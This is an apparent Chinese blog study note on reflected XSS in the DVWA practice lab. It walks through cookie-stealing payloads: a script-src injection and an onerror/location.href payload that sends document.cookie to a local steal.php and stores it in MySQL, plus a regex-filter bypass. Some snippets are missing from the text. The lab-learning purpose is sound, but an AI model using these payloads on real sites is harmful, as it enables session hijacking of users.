dvwa中的反射型xss漏洞笔记
总结了dvwa中的反射型xss关卡
Low
代码复现如下:
当我们GET一个name值以后,服务器毫无过滤的通过echo输出我们GET的name值,而如果我们输入的是一串代码,则这串代码通过echo就会被执行,这就是反射型的xss漏洞,我们可以通过GET方式输入一串js代码构造一个注入js代码的网页,当受害者访问这个url时,js代码将会自动实现,从而达到恶意攻击目的
比如我们输入
于是我们可以利用这个xss漏洞获取服务器的cookie值,然后将cookie值存入数据库
先创建一个存放cookie的数据库
在mysql命令行输入:
create database dvwacookie;use dvwacookie;
create table low
(
id int primary key,
cookie varchar(100)
);
然后在编写一个cookie.js的脚本
这个脚本作用是创建隐藏表单,表单提交到steal.php,提交的内容是cookie值
接下来编写steal.php,自然就是将提交cookie值写入数据库里了
然后回到存在xss漏洞的网页,通过GET传入name值
<scriptsrc=cookie.js></script>
查看数据库
成功获得cookie值
Medium
代码复现如下:
之后跟low关卡一样,输入
获得cookie值
High
代码复现如下:
这关利用了一个正则匹配过滤函数,i表示大小写,也就是以<开头,以t结尾的字符串,只要中间按顺序包含<script,则会立刻被过滤掉,之前双写绕过过滤的方法在这里行不通
绕过方法是采用触发onerror事件来执行javascript代码
onerror事件会在文档或者图像加载过程中发生错误时触发
例如,我们输入
<imgsrc=#onerror=alert(“xss”)>
果然,加载图片时发现不存在这个图片发生错误所以触发了onerror事件,然后执行了alert(“xss”)代码
那么我们再考虑怎么像之前两关一样获得cookie值
之前是通过script标签的src属性引用外部的cookie.js文件,将cookie值以POST形式传入steal.php,再将POST的cookie值写入数据库
但是很明显这关对script标签做了正则过滤,只要我们输入含有这几个字符,都会被过滤掉,所以这里可以用location.href跳转链接到steal.php,将cookie值写入数据库,所以这里只能用GET方式将cookie值传入steal.php
于是输入
<imgsrc=#onerror=(location.href=”http://127.0.0.1/demo/xss(reflected)/steal.php?data=” document.cookie)>
但是结果却是
为什么呢
仔细检查发现我们输入里面
<imgSrC=#oneRror=(locatIon.href=”httP://127.0.0.1/demo/xss(reflected)/steal.php?data=” document.cookie)>
大写字母构成了<script,所以被过滤掉了
所以我们可以采用先获得cookie值,然后将cookie值传入steal.php
输入
<imgsrc=#onerror=(alert(document.cookie))>
在将这个cookie值传入steal.php
还有种方法是对某个关键过滤字符进行html编码,但是我亲测不行,不知道什么原因,还望大神指点原因
以上是 dvwa中的反射型xss漏洞笔记 的全部内容, 来源链接: utcz.com/a/11422.html